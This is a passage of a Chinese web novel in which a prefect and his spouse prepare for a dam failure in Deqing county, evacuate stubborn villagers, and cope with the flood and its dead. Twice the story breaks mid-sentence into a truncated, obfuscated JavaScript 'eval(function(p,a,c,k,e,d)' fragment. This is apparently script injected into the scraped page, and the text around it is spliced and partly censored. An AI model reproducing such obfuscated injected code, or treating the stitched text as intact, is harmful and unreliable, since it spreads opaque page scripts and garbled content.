“我已经派人过去问过,确实是咱们西梧府周边村落的,本来家境就不好,连番暴雨房屋倒塌才出来行乞。我已经让青杏看过了,人没有什么疫症,只是身子亏损的厉害。我派人去他们村里帮忙起了两座小屋,让他们好歹有住的地方,糙米也送了两袋,剩下的就得靠他们自己了。 天灾面前,人类都是很脆弱的,大人如何孟晚就不管了,他仁至义尽,可稚子无辜。两个小孩被他安排到松韵书院里,平时做做杂务,白天正常上课,以工代学。 “已经很好了,多谢夫郎。宋亭舟身为西梧知府,却难免有顾不上的地方,幸亏有孟晚帮他填补空缺。 饭后孟晚把自己行李也收拾好,府城的工坊停工,有唐妗霜和余彦东顾看已经足够,他要随宋亭舟一起去德庆县。 家里准备了许多死面饼子、馒头、果干、罐头这种不用生火的 东西给他们带上。孟晚突然想到腊肠方便好带又好储存避免长时间不吃肉身体扛不住可惜他不会做。 不过这会儿也可能有什么地方已经开始研制出腊肠了可以在信上问问祝三爷让他帮忙留意一二。 上次宋亭舟自己走阿砚就蔫了两天这次俩爹一起走他就更舍不得了抱着孟晚大腿不放“阿爹……” 他还没开始嚎孟晚就打断他“上来。” 阿砚眼睛挂着泪珠子懵懵的指着自己“我?” “都多大了还哭真丢人上来吧。”孟晚语气嫌弃。 常金花不干了“这么大的雨你们是去干正事又不是去玩带阿砚干啥!” 孟晚一秒变脸嬉皮笑脸的和常金花说:“带孩子见见世面嘛你看我夫君什么大风大浪都见识过了现在多有出息。您也不想阿砚天天在温室里长大了和余家大公子一个德行吧?” 没错现在开朗明鉴的老余那都是被他大儿子纯折磨出来的所以在二儿子余彦东的事情上才这么看得开。 老大已经被他夫人和老娘宠溺到四肢不勤五谷不分的地步小心眼又霸道连自己弟弟的东西都要抢。家里的庶子庶女更是被欺负的像蝈蝈似的除了没沾人命真是什么坏事都干了。 要不是宋亭舟上任以来余家老大被约束在家恐怕早就进了牢房。 府城人基本提起他就闻风变色连常金花也曾听说过。 孟晚提起余家老大的养废史常金花果然开始动摇“那……那等他再大点不也行吗?再说阿砚多乖巧可爱和余老大可不一样。” 宋亭舟语气沉重“人心不古时局动荡是该让他亲眼所见那些浮华下的疮痍和面对灾难时凉薄的人性。” 他一句话比孟晚十句都管用常金花什么反对的话也说不出来了。 等到上车的时候常金花才发现家里三个孩子都爬上去了她忍了又忍最后还是没忍住“咱们自家孩子就算了怎么还把通儿给带上了!他才多小要是真出了什么事咱们和容哥儿交代?” 宋亭舟把通儿抱上来孟晚接住他“放心吧娘通儿跟着我们比跟着他俩爹靠谱多了。” 从家里出来上了主街阿寻背着包袱提着药箱站在街口见宋家的马车过来阿寻问道:“孟夫郎 孟晚掀开车帘笑着回道:“在前面的马车里,阿砚和通儿都跟着去。你白日无聊就和他们坐一起,夜里和黄叶一起睡。” “好!”阿寻的行李被黄叶接过去,阿寻提着药箱上了楚辞和阿砚他们的车厢。都是自家人,还是在西梧府地界,规矩没有那么多。 宋亭舟和孟晚坐在最后面的马车里压阵,孩子们不在,他俩还清净一些。 这些日子宋亭舟来去匆匆,甚至连个好觉都没睡够,就又要冒着雨启程去往德庆县。 马车刚驶出西梧府范围,宋亭舟便躺在车厢里睡着了。 孟晚给他盖上棉被,塞了两个手炉进去,自己守着他吃果干看书。 值得欣慰的是德庆县是自家地盘,去了之后不用像赶路时那么艰苦。 可就在他们终于到了德庆县后,孟晚却发现城门外**了数十名灾民。 宋亭舟脸色难看的下了马车,让周围衙役护好孟晚他们,和蚩羽陶八打马骑行过去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“拦?拦什么拦?没见知府大人都发火了吗?”县丞冷笑一声,费敬这下子可遭殃了,这种祸害,早该滚下台去。 宋亭舟召集了德庆县中的所有郎中,先给这数十名灾民诊脉,确认他们只是身体亏损和风寒,并未身患其他感染病后,该治病的治病,剩余的人暂时安顿在县学外院。 孟晚在德庆县还真没有房子,不过有驿站和松韵学院。 综合他们这次带的人比较多,驿站又大多都是仓库,冬天天冷,还是住松韵学院比较方便。 宋亭舟去县衙训人和安顿灾民的时候,孟晚便带人先去松韵学院安置起来。有的夫子在学院外面有宅子,没有的孟晚就租两间院子给她们住。 不然他们一行汉子较多,住在一起松韵学院的夫子们难免不适应。 学生的床他们先借用,后面半天孟晚他们都在收拾行李和铺床。 “阿爹,我们要在这里住多久?”阿砚跑过来问整理衣物的孟晚。 “顺利的话可能半个月就回家了,若是……不顺利,可能年后才能回去。”孟晚神情复杂的说。 阿砚已经长大,脑子同孟晚一样灵活善思,他想到和他们一起进城的那些可怜人,问道:“是因为那些灾民吗?” 这还是他头一次听到“灾民”这个词汇,已经大致明白了其中含义,那些人没有家了,所以只能四处流浪。 孟晚摸摸他的头,才发现阿砚已经长到他腰间偏上的位置了,他若有所感的说:“那些灾民还算好说,怕的是成千上万,甚至几万、十几万的百姓都变成灾民,那才是一场噩梦。” 但愿只是他和宋亭舟想的太多了。 安顿好灾民,宋亭舟组织好德庆县的官员迅速行动起来,勘察德庆县辖内所有村落是否有灾情,疏通河道,检查水坝,帮助房屋破旧的百姓家里加固房屋。 这一查,果然就查出了问题。 德庆县的衙役骑马飞奔回县衙禀告,“大人!茂林镇的水坝就要被冲塌了!” 第65章 堤坝 照理说德庆县的水坝都是由宋亭舟亲自修建加固,如今还不到一年,就是再大的风雨,应该也不至于将堤坝冲毁才对。 宋亭舟心里想着种种堤坝可能被冲毁的理由,口中利落的发出一道道指令。 首先这种紧急的时刻费敬绝不能留在县城给他添麻烦,干脆责令对方和自己去茂林镇,让相对费敬而言能力较强的县丞和主簿留守后方。 他们半点都没敢耽搁,雪生留在县里守着孟晚,蚩羽那拓陶家兄弟等跟在宋亭舟身边。 跟在宋亭舟左右的人都已习惯了他行事雷厉风行,因为事情紧急,各自连换洗衣物都没来得及带,每人揣了一包干粮一袋水囊就上了马。 费敬带着十来个衙役连包袱都没收拾好,就听说知府大人已经启程,忙不迭的爬上马车命马夫架马追过去。 衙役一脸为难的拦住他,“大人,可是宋大人一行都是骑马去的。”言下之意费敬这样舒舒服服的坐马车可是追不上的。 费敬已经被上司责问过几次,眼见着头上的乌纱帽要保不住,只能咬咬牙弃了宽敞舒适的马车,也策马狂奔去追宋亭舟。 一路披星戴月,他们赶到最靠近钦州与西梧府交界处的茂林镇时,已经是后半夜。 整座县城最大的堤坝就在附近的民乐村与茂林镇之间。留守在堤坝附近的衙役还算负责,一直守在半山腰的茅草房里,等到宋亭舟他们来的时候人已经冻得唇色发白。 宋亭舟没有废话,下了马脱下湿淋淋的蓑衣,先将自己装着热水的水囊给他,又递了块干粮,“先喝点热水,再把堤坝的情况和我说说。” 等待留守衙役吃喝的同时他也没闲着,快速对其他人下达指令。 “你们几个去最近的民乐村里找里长过来,再多叫几个年轻村民。” “我这里有些碎银,那拓,你也去村里一趟,找些妇人烧水做饭,过一会儿天亮了再送到草屋里来。” “大人,下官也可为大人分忧。”费敬一身狼狈的想钻进草屋休息,结果被蚩羽拿着刀柄抵住,不让他进屋。 宋亭舟轻描淡写地说:“你既然想替我分忧,一会儿就随我上山看看,探查一番上面的堤坝现在是什么情况。” “啊?您要亲自上去?”费敬抹了把脸上的雨水,转身看向在朦胧山雾中若隐若现的堤坝。 羊肠小径在林子里弯弯绕绕,因为接连下雨,满是泥泞,定是又脏又滑。两侧的杂草丛生,长到人腰上那么高,也就是冬季,不然仿佛下一秒便能钻出两条五彩斑斓的毒蛇出来。 黑夜里的山林恐怖瘆人,费敬越看脑袋越是嗡嗡作响,退却之心油然而生,能舒舒服服的待着,怎么也比雨天爬这么陡峭的山坡强。何况他常年养尊处优,更受不了这份罪。 “大……大人,下官还是去村里安抚民心吧,您放心,下官定好好安抚村民。”他说完怕宋亭舟不同意,复又麻溜的上了马,追那几个被宋亭舟派出去的衙役。 宋亭舟眼眸幽深,冷冷的凝视着他仓皇而逃的背影。 蚩羽和宋亭舟两人都人高马大,陶家兄弟中的陶十一个子也不矮,几人站在草屋里转个身都难。留守的衙役默默啃完饼子,灌进肚子里半壶热水,同宋亭舟说:“宋大人,您坐里面,这头有几个木墩。” 草屋里一小半地方都**柴占满了,应该是村里猎户存在这里应急的。蚩羽机灵的把木墩子从一堆干柴里搬了出来,随意拍了两下先递给宋亭舟一个。 说句实话,蚩羽一个哥儿,常常让同行的陶家兄弟有种和他处成哥们的感觉。 “你们是怎么发现茂林镇水坝异常的?堤坝上现在又是什么情况?”宋亭舟也不是毫无人性,见到留守的衙役吃完了之后才坐在木墩上问起来。 留守的衙役从木墩上站起来回道:“回大人,是我们巡逻到茂林镇的时候,民乐村里长主动找上我们说的,白天小人已经上去看过,上游的水库,水位上涨飞快,已经快要冒过堤坝了。” 宋亭舟心下微沉,茂林镇的水库是西梧府最大的水库,容量极大,根本不可能因为连续暴雨就以肉眼可见的速度暴涨,除非是短时间内几条河流全都在往水库里面奔流。 宋亭舟望着外面暗色的天空,突然问留守的衙役,“坐下吧,你叫什么名字,家中是哪里的。” 留守的衙役受宠若惊的坐下,“回大人,小人李巨阳,家就是茂林镇的。” “不错。”宋亭舟难得夸赞了一句。 气候如此恶劣,李巨阳就是在镇上等候,宋亭舟也不会责怪于他。他却一直死守在半山腰上受冻,比他们知县费敬还要尽职尽责得多。 李巨阳尚且不知得知府大人一句夸奖是什么分量,直到后来从一介低劣无品阶的衙役,突然 被提拔到府城司狱,他才猛然惊觉那句简简单单的不错,竟然重值千钧。 下雨天道路难行,里长他们直到天蒙蒙亮的时候才带人上山来找宋亭舟,费敬果然留在了村里。 宋亭舟打断他们战战兢兢的请安问礼,直奔主题,“我们需要当地人带着上山,看看上面堤坝的情况。” 上山的路确实蜿蜒,又接连下雨,没有当地人带路,只能摸黑上山,会很危险。 好在里长带来的年轻汉子不是樵夫就是猎户,熟知当地情况,他们一脚深一脚浅的上了山,宋亭舟心里急迫万分,真见到堤坝上的情景才发现确实已经刻不容缓。 李巨阳惊呼一声,“怎么又涨了这么多!” 只见水库里的水位已经上升到了极致,眼见着就要没过堤坝。若是水位没过堤坝,再结实的堤坝也会溃决。洪水不光会淹没茂林镇,还会灌满其他河流,使其他堤坝也跟着决堤。 “那拓,你立即去兵营里通知所有府兵前来齐力疏通堤坝,要快。” “李巨阳,你去村里找费敬,叫他立即征收茂林镇附近的窑场,**周边所有青年壮力挖沙、挖石,送沙袋和石块上山。” “陶八,你带几个衙役回德庆县,让德庆县的衙役捕快都忙活起来,挨家挨户的借农具、拉粮食到民乐村来。” 宋亭舟语速飞快,众人都屏气凝神地听他吩咐,几乎在他话音落地的瞬间,大家便立即分头行动。 宋亭舟自己已经先拎了把铁锹走到堤坝另一头的位置,俯瞰面前一望无际的水库,上游滚滚流水飞正速流向大坝。 他眸色一闪,茂林镇堤坝上游,连接的正是钦州境内的钦江其中一条分支。 这时候天色渐明,宋亭舟跨步往上游走了一段路,果然越往上河水越是湍急。 蚩羽护在他左右,看着宋亭舟越来越难看的脸色,不解的问了句,“大人?” 宋亭舟心中有了个糟糕的猜想。 ——来不及了。 孟晚在松韵书院里烙饼,宋亭舟最近一直在赶路,馒头太冷硬了,还是饼子好吃点。 “夫郎,我看到陶八回来了。”雪生回来禀告。 孟晚抓了把碗里的葱花铺在饼上,“他回来了?可有说些什么?” 雪生回道:“急匆匆就去县衙了,就说了两句话, 他要去找县衙里的衙役们一起征收农具,还有那拓拿着大人的令牌去军营了。 孟晚动作一顿,糟了,看来情况有些不妙。他迅速把面板上的饼一块块的贴到铁锅上。“你去叫小辞过来,咱们三个现在就吃点东西垫垫,一会儿留下黄叶阿寻他们陪阿砚和通儿,我们去茂林镇看看情况。 雪生得了吩咐立马过去找楚辞,说了孟晚交代的话。 饼子烙好之后孟晚又炒了个冬笋炒肉片,三人就着饼子把菜都吃光。 孟晚装上剩下的饼,密封好装进包袱背在身上,又带了两包碎银,穿上蓑衣,跨上马背同雪生和楚辞一起出发。 路上还遇到众多德庆县的衙役,从陶八口中得知了宋亭舟的几道命令。 非常幸运,他们到民乐村山脚下的时候雨停了,虽然天空依旧昏暗,可也莫名的让人松了口气。 孟晚在众人的护送下上了山,上山的村民和衙役正在埋头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋亭舟匆匆用孟晚水囊里的水洗了洗手,飞速吃了两块饼子,“从民乐村开始,茂林镇虽然地势比民乐村高,但离水库实在太近了,同样风险极大,也要撤出去。随后沿着山下这条沟渠一路向西北方向,只要是沿路的村庄或城镇都要撤出,能撤多少撤多少。因为我担心是钦州那边的江河出了问题,如果真是那样,整个西梧府都要遭殃。” 孟晚压下所有疑惑不解,他知道宋亭舟现在又忙又累,自己需要做的就是尽量帮他稳定后方,好让他专心致志的研究对抗堤坝决堤的方法。 因为堤坝被冲毁或许只是第一步,之后才更是艰难。 除了随身保护宋亭舟的蚩羽,陶十和陶十一都被宋亭舟派去协助孟晚。 孟晚马不停蹄的下了山,村子里的村民可以直接交给各村里长劝说,镇上一家家的去劝太不现实,最方便快捷的方法就是去找镇上的乡绅,他们这群土地主在当地说话比县官还好使。 可坏就坏在有的猪脑子只有一根筋儿,听不懂人话。 “卢田主,我知道你舍不得自己的地,可钱重要还是田重要你自己掂量不明白吗?”孟晚和这姓卢的地主都说明白了事情严重性,可对方就是一副,我听了,但我不信的态度。 “这……孟夫郎明鉴,咱们镇上这水坝早年也被冲毁过几次,也就是坝下的田地糟蹋了十几亩,怎么可能冲到镇子上来呢?”卢田主面露无奈,他怎么和这位官夫郎解释不通呢? 孟晚只觉得自己在他身上浪费了太多时间,他需要去干更多有用的事。“雪生,把他给我捆起来。” 卢田主大惊,“孟夫郎,您这是做什么?” 孟晚语气阴森,“做什么?你找死我懒得管,但镇上的百姓我不能不管,一会儿你就按照我说的去做,之后要走要留都随你的意。可你若是挣扎拒绝,我保管时候让你全家都到牢里光顾一圈,懂了没?” 还真当他好脾气了?早知道先礼后兵,这个礼,姓卢的不接,还不如上来就直接来硬的痛快,白白浪费他这么长时间。 第66章 冲毁 古人恋家不是瞎话,镇上生活的人基本都有稳定收入,有的还祖祖辈辈经营着一家店铺,所以抱着侥幸心态不舍得走的人不在少数。 好在乡绅加衙役的话还是有几分信服度的,再加上衙役语气恶劣地驱赶,大家很快便不甘不愿地开始收拾家当。 但是这个进度还是太慢了,五天已经过去了一天,照这个进度才能劝离几个村子? 民乐村和周边的村子还算知道决堤的严重性,于是劝离的很痛快,不用孟晚出马,里长就已经解决了。 但往西北方向过去,村落无数,有的连里长都不以为意的敷衍衙役,根本不当回事,难道要一家家的规劝吗? 听说二十里之外的一户村子态度嚣张,里长带头,把去的衙役都给打了。晚上孟晚连觉都没睡,召集了附近德庆县驿站的伙计们加班,带了一大队的人找到那户村子。 可能是打了衙役,他们心里也很忐忑,见到又有生人过来,立马警惕的叫来所有村民,在村口处与孟晚他们一行人对峙起来。 但孟晚并没有浪费时间和他们动粗的意思,召集驿站的人手也更像是让他们一方看起来更有气势。 他在这群面色紧张,故作凶狠的村民面前来回打量了几眼,眼见他们脸色越来越不安,突然“呵”的一声突然笑了。 年轻的里长脸皮抽动了一下,“你……你笑什么?”要是和他们来吵架就算了,孟晚露出那种意味深长的笑,反而把他们给笑毛了。 孟晚冷嘲热讽,“我笑你们蠢,笑你们无知,等这附近所有村民都搬走,你们村子就算被水冲了,保管叫天天不应叫地地不灵。” “不可能!我们祖祖辈辈都……” “雪生,我们走!”孟晚懒得听他废话,像是走了个过扬,话带到了人就全都撤走了,也没追究他们打了衙役的事,就好像…… 就好像笃定他们村子的人活不过几天了似的。 如此一来效果竟然比来硬的还好用,这群村民回家各个夜不能寐,外头大了一点动静就好像是洪水冲进村子了。 其中里长压力最大,他后半夜翻来覆去的睡不着觉,偷着往民乐村那边跑,结果竟然真的看到沿路的所有村庄都在连夜收拾家当准备跑路。 他难以置信跑到一个和他家有远亲的家里去问:“你们真的要走?连田地也不要了吗?” 对于他们这样的农户来说,田就是他们所有的资产,养儿育女都靠这么几亩田地,又有几个人舍得就这么抛弃? “不跑怎么办?要是没事最好,还能回来接着种地。要真是发了洪水,一家老小的命都没了,还地呢,房子都能冲跑!”民乐村的人对发洪最有发言权,他们村子不是头一回被淹了,虽然人员伤亡很少,但逃跑已经跑出经验来了。 本来以为宋知府给加固了堤坝,夏天雨下的最多那阵子大坝上连个土粒都没往下掉,全村人都异常欣喜,以为今年能安稳的过下去了,谁能想到快年底还能出事? 里长恍恍惚惚的回了自己村子,还因为小路湿滑,天色又黑,不慎掉进了水沟了。幸好他年轻力壮没有摔坏,回去后左思右想看到旁的村民从他们村子经过,终于咬牙通知本村村民撤离,还是借用的民乐村村民的话。 “跑吧!要是没事最好,咱们回来还能接着种地。要真是发了洪水,一家老小的命都没了,还地呢,房子都能冲跑!” 孟晚一晚上能走四个村子,也不是每个村子都要他亲自出马,但确实离堤坝越远的村落就越不相信他的话。 这五天他和衙役们还有驿站的伙计等,昼夜不停的连着轴转,共劝离了二十六个村落和两个镇子。 宁死不走的肯定是有的,那也只能尊重他人命运了,不能为了这么个别几个耽误他们劝离后面其他村落。毕竟他们的目的是尽可能的救更多的人。 孟晚说这话的时候神情异常冷酷,半点没有怜悯他们的意思。 第五天茂林镇附近开始传来火药的爆破声,由大坝附近扩散开来,剩余在民乐村挖渠的百姓、衙役、士兵和府衙的人边炸边往后撤离。 死留在村子的人有的听见爆炸声才后知后觉的开始害怕,行李都不敢收拾就往外跑,还有人吓得哇哇大哭还不忘收拾行李。 最后一类则是认准死理,不敢去想自己做错决定的后果,拖着一家人躲在被子里堵上耳朵。 最后整个德庆县四处都有爆破声传来,整整一夜都没有停歇。 孟晚这会儿正在其中一个村子里和里长说话,这里距离民乐村水坝已经很远了,里长当然不相信他的说辞。 然而下一秒一声巨大的轰鸣声响彻整个村落,把里长从凳子上吓得摔到了地上。 孟晚想到宋亭舟可能在附近,迅速起身想要跑出去,但是因为接连几日没有休息好,整个人都一阵恍惚,眼前一黑差点也跟里长一样仰面倒下去。 一条结实有力的胳膊将他揽住,宋亭舟急切的声音伴着耳鸣声响起,“晚儿!你怎么样了。” 孟晚揉了揉太阳穴,眼睛逐渐恢复光彩,“没事,就是没睡好……”可能低血糖。 他话语中断,对着黑炭一样的宋亭舟差点笑喷,“哈哈哈,你怎么这么黑了,快洗洗脸。”挖渠的泥土,混合火药爆炸溅起的黑灰,哪怕宋亭舟再帅的脸也扛不住这么霍霍。 宋亭舟见他无事,紧绷的神经瞬间松弛下来,嘴角挂着无奈的笑意解释,“没办法,接下来我还要去几个地方。” 他拉着孟晚的手眺望茂林镇水坝方向,“这里距离水坝已经很远了,暂且有缓冲的时间,你先好好休息两天,等我将剩余的沟渠全都炸通,后续我来处理。” 宋亭舟这些天又是挖渠,又是四处连轴转,恐怕比自己还累百倍,孟晚又怎么舍得让他还要操心村民撤离的问题呢? 他表面上答应宋亭舟的话,趁着两人相聚的这小会儿功夫,把自己的零食糕点都拿出来投喂宋亭舟。 过了一会儿有士兵过来喊他,“大人,这边的沟渠已经炸好了。” “通知后方的车马跟上,我们去下一个草环河。”宋亭舟的目的是将附近较大的沟渠和河道全部炸通。 他回头望了眼孟晚,没洗干净的脸上,很可能马上就又重新落满灰土,但宋亭舟的眼神是平静且坚毅的。 不管这个晚上会发生什么,他都会毫不退缩的面对。 “晚儿,辛苦了。” 明明辛苦的是他才对,孟晚一直凝视宋亭舟离开的背影,突然对这些冥顽不灵的村民多了点耐心。 这些人都是宋亭舟要守护的百姓。 既然如此,他也愿意为了自己的爱人,共同守护他们。 “你们不愿意撤离就算了,但孩子无辜,就当我请他们去城里住一天吧。”孟晚返回距离较近的一座村庄,那里还有一家燃着油灯。 放到平时这么晚的时间,农家早就舍不得点油灯了。可见他们一家虽然嘴硬,心里还是害怕的。 “你们要是把我儿拉去卖了怎么办?”那家女人搂紧熟睡的儿子。 “我们夫郎乃知府夫郎,会卖你们儿子?”雪生站在孟晚面前呵斥妇人。 男主人不耐烦的说:“不管你是什么人,反正我儿子不可能和你们走!”知县、知府还是没有品阶的师爷,在老百姓眼里看起来都没差。 孟晚一点都不生气,他和快死的人计较什么? “既然如此,我就尊重你们的选择,但那个孩子呢?”孟晚指着角落里用残缺木板拼凑的“床”,床上铺着干草,蜷缩了一个瘦弱的小小身影,约莫是个五六岁的小孩。 小孩不知道什么时候已经醒了,眼睛半眯着装睡。 “贱儿?”男人眼珠子一阵乱转,“怎么也没有白要旁人家孩子的,你得给我们两袋糙米。” 他说完怕孟晚不干,又自己往下降,“一布袋糙米也行!” 一布袋的糙米也就几十文而已,但孟晚不想付这个钱。 “我这里带了只烧鸡,不然用这只烧鸡换他吧。”孟晚从雪生手里接过烧鸡。 他早就来过这个村子,也曾劝说过这家人,之后就懒得管了,刚才若不是见了宋亭舟一面让他心生感触,他绝不会再回来这一趟,这只鸡算是他最后的善心。 “烧鸡!”那男人和妻子对视一眼,喜不自胜,这可比糙米值钱。 妇人尚且心中还有两分不舍,男人已经迫不及待地将那小孩从床上揪起来了。 “贱儿,爹养不起你了,往后你就跟着他们走吧。” 贱儿披头散发,头发遮住他的半张小脸。被提到孟晚身边后,他麻木的看着床上睡得小脸透红的弟弟,和眼神闪躲的娘,对他爹说的话一点反应都没有,连眼泪都没掉一滴。 “难不成是个傻的?”孟晚若有所思。 男人怕他反悔,把烧鸡背到自己身后,让婆娘接过来藏进被窝里去。然后狠狠推了一把贱儿的头,向孟晚解释,“不是傻的,也不是哑的,这孩子就是不爱说话。” 孟晚连多看这男人一眼的想法都没有,“走吧。” 雪生跟着孟晚出门,贱儿在他们身后跟着,小小的孩子把腿迈的飞快,除了在跨出家门的时候停顿了一下,剩下的时候都在努力跟上孟晚。 他被亲爹从破烂的木板床上揪下来的时候连鞋都没穿,现在就光着一双脚,出门的瞬间就踩了一脚的泥。 雪生眉头一皱,停下步子,突然弯腰将他抱了起来。 贱儿被吓了一跳,他无措的揪着雪生肩膀上的布料,眨了眨眼睛,然后落下一串滚烫的热泪。 雪生察觉到肩膀处的布料突然湿润,熟练的拍了拍怀里的小孩,这是带阿砚带出来的习惯。他自己没孩子,哄孩子的流程却比孟晚和宋亭舟还熟练。 当天夜里在德庆县的大半百姓都提心吊胆的一晚上,平安度过。 孟晚去的那家男人瞪着充血的眼睛,不屑的说:“王老七他们还真信了,家里房子地都扔在这……这是什么声音!” 一道沉闷到极致的钝响响彻天地,像是一柄巨斧劈开了屹立千年的古树,震得空气都在发抖。 紧接着便是无数音浪叠加在一起的轰鸣声,那是刚刚挣脱了枷锁的巨兽在仰天咆哮,那声音里带着要毁灭一切的疯狂。它撕扯树木,摧毁房屋,势要将所过之处全都吞没进腹中。 男人甚至连推窗看外面一眼的勇气都没有,紧紧抱着怀里的烧鸡,声音颤抖,“跑……要跑……快跑啊!!!” 他们夫妻抱着还没睡醒的孩子,同贱儿一样连鞋都来不及穿就跑出门外。 只不过三息的功夫而已,一家三口推门出去之后,便惊恐到挪不开步子,因为已经太晚了。 眼前是浑浊的、数米高的洪水,正在嘶吼着汹涌而来。被冲倒的大树被席卷进了往日热闹的村庄里,撞倒了无数的房屋,奔涌的洪水顷刻间便湮灭了这个村庄。 不——甚至不止这一个村庄。 在天灾面前,人类是如此的渺小。 凌晨天刚微明的时候孟晚才回到县城,他实在撑不住了,连澡都没洗,歪在床上就睡了过去。 才休息了只有一炷香的时间,那拓就不顾黄叶阻拦闯了进来。 “夫郎,茂林镇的水库,塌了!” 孟晚猛地坐了起来,眼前又是一阵眩晕,他瞬间倒在床上,将那拓吓了个半死。 “夫郎,你怎么了?” 孟晚缓了一会儿,艰难的从床上爬起来,“你们大人在哪儿?他没事吧?” 那拓忙道:“您放心,大人无事,他再处理后续事宜,观看洪水走向。” 孟晚洗了把脸清醒一点,但还是处于脑袋点地的状态。“洪水现在冲到哪里了?” 黄叶过来给孟晚端了一碗热汤,那拓咽了口口水让开一点,“刚才应该是快到六荣村了。” “黄叶,给那拓也盛一碗来,再给我们装些吃食。”孟晚端起热汤来喝。 黄叶很快端过来一碗热汤和几块肉饼,颇有些担忧的问:“夫郎,你还要出门吗?” 孟晚白着张脸勉强让自己吃了半张肉饼,一碗汤水,“不要紧,很快我就回来,你在家好好看着阿砚他们,千万不能让他们出门。” 黄叶又装了两布袋的肉饼给他,“我知道了夫郎,您放心。” 孟晚把雪生也留在书院里,自己又和那拓去找宋亭舟。他正站在一处深渠岸边,面前的渠道早已被洪水灌满变成了河道,甚至还有溢出两侧的可能。 大队的士兵、村民、衙役,甚至德庆县知县费敬也在。所有人都沉默着面对湍流的洪水不言不语。 孟晚带着一脚的厚泥走向前去,没有引起任何人回头的动作,他们此刻全都目不转睛地凝望面前的河道。 上面漂浮的不光是被洪水冲断的树木,还有一具具被浸泡到面目全非的浮尸。 第67章 黄水疮 从茂林镇沿途过来确实有那么两三户固执的人家,非要死守着不走,其中两户都是无儿无女的老人,剩下一户便是贱儿他家。可眼前数不尽数的大片浮尸又是从哪儿过来的? 宋亭舟面色沉重道:“钦州。” “不可能!德庆县离钦州这么近,下官从未听说钦州有什么水患啊?”费敬也满目震惊。 宋亭舟每每对着他就没有好脸色,“你也知道德庆县离钦州很近,甚至水脉相通。作为一县知府,你为何在暴雨前后不及时检查茂林镇水坝?洪水不知何时退却,大批流离失所的百姓又要如何安置?” 费敬缩了缩脖子,明明是个比宋亭舟大了二十来岁的大叔,这会儿却被训的像老宋家的孙子。 “大人,如今咱们要怎么办?是还要继续炸河道吗?”杜同知等人这会儿已经巡视完西梧府大半的堤坝,虽然经过接连暴雨,可西梧府其他堤坝都完好无损。 宋亭舟见着挤满河道的尸体,沉吟片刻,“不炸了,你带人在下游挖几个蓄水池,越大越好。” 他接着又吩咐已经是陶八“陶八,你组织人捞尸,河里的尸体极有可能都是从钦州飘下来的,捞出来便就地焚烧。” 孟晚在一旁提醒一句,“要问问小辞或者阿寻,这些尸体会不会带来什么疫症,焚烧的时候要不要和什么草药一起燃尸。” 洪水褪去最爱生疫,更何况从上游飘来的这些尸体不知道已经泡了多久。 孟晚又不厌其烦的叮嘱了一句,“千万不要让人喝河里的水。” 宋亭舟踹了费敬一脚,“听到了吗?现在挨家挨户的去通知,让德庆县的百姓不可饮用河道里的水,就说水里被人下了毒。” 费敬不敢多话,在扬除了宋大人的夫郎,就他官职最低。他领了命就滚去县衙,多少能为宋亭舟分担一丝,还能省的在上官面前总是挨骂。 德庆县中有许多挨着茂林镇堤坝的小型水库也被冲塌了,虽然危及不到百姓生命,但也要紧急抢修。 修小型水库的事,宋亭舟交给了张推官,府城的官员他用着更放心顺手。 从赴京朝觐开始,宋亭舟已经马不停蹄的忙了太久,就是铁人也撑不住,所以他理所当然的病了。 病来如山倒,因为连日劳累和生病,宋亭舟瘦到眼窝都有些内凹,好险没给孟晚心疼死,随后他便也跟着病倒了。 阿砚许是头次见俩爹这么虚弱的样子,他那么乐观开怀的性格竟然也会偷偷抹眼泪。被楚辞发现了就抱着哥哥哭,生怕宋亭舟和孟晚就这么挂了。 楚辞被他带动的情绪也崩了一瞬,然而有专业知识在身,很快整理好情绪劝阿砚不要难过,俩爹只是生了小病,很快就会好的。 宋亭舟和孟晚在床上躺了好几天,似难兄难弟。好在身边有楚辞和阿寻在,喝了几天苦的要命的汤药调理了一阵子,还是宋亭舟体质更好,率先恢复。 他换上官服准备出门,临走前走到床边不放心的叮嘱孟晚道:“你好好休息,若是不喜欢在德庆县,等好了就回府城。” 孟晚捏了捏他的手,“我在哪里都有许多人照顾我,倒是你,好好吃饭休息,不要再这样熬坏了身体。” 宋亭舟反手握住他,“西梧府这次灾情提前预防,伤亡并不严重,只剩些后续的琐事。我已经上书朝廷,此次灾情紧急,上面可能会派人去钦州探查。” 西梧府这次水灾虽然只有三户村民遭了秧,但田产被淹的村民也需要妥善安置,岭南的冬天虽然不像北方一样会冻死人,可安置这么多村民也不是简单的事,宋亭舟又要忙上一阵。 孟晚在床上又躺了一会儿,养病的这些天他睡得多了,这会儿躺的浑身酥麻,就披着裘衣坐了起来。 “夫郎,您是 起来了吗?”黄叶在院里听到了动静。 书院不是家里,大家都住一个院里,阿砚被憋了几天,要不是有楚辞和通儿陪着他早就闹着要出门了。这两天楚辞也有事出去,阿砚只能和通儿还有新来的小孩贱儿一起玩。 可是通儿和贱儿都不是太活泼的性格,阿砚早就呆够了,听到黄叶的话他立马闻声而动,飞快往屋里冲去,“阿爹!” 黄叶端着吃食进来,差点被阿砚给撞翻,“小少爷,您慢点呀。” “对不起黄叶哥哥。”阿砚认错态度良好,却头也不回的扑向孟晚,“阿爹,我好无聊啊~” 孟晚摸着儿子的头,“阿爹也无聊,等我养好了身体,阿爹带你们出去玩好不好?” 阿砚忙不迭的点头,“好好好,阿爹快点好起来。” 黄叶把手里的饭菜一样样的摆在桌子上,量少而精致,种类繁多,弄了六个小菜,三样主食。 孟晚拒绝黄叶的搀扶,他今天觉得自己好多了,不紧不慢的走过去吃饭。 先端起粥碗喝了半碗精米粥,配上小菜又吃了两个小包子,看阿砚馋又给阿砚拿了一个。 阿砚是单纯好吃,肚子又装不下太多的东西,因为刚吃完早饭没多会儿,只吃了半个包子就吃不下了。 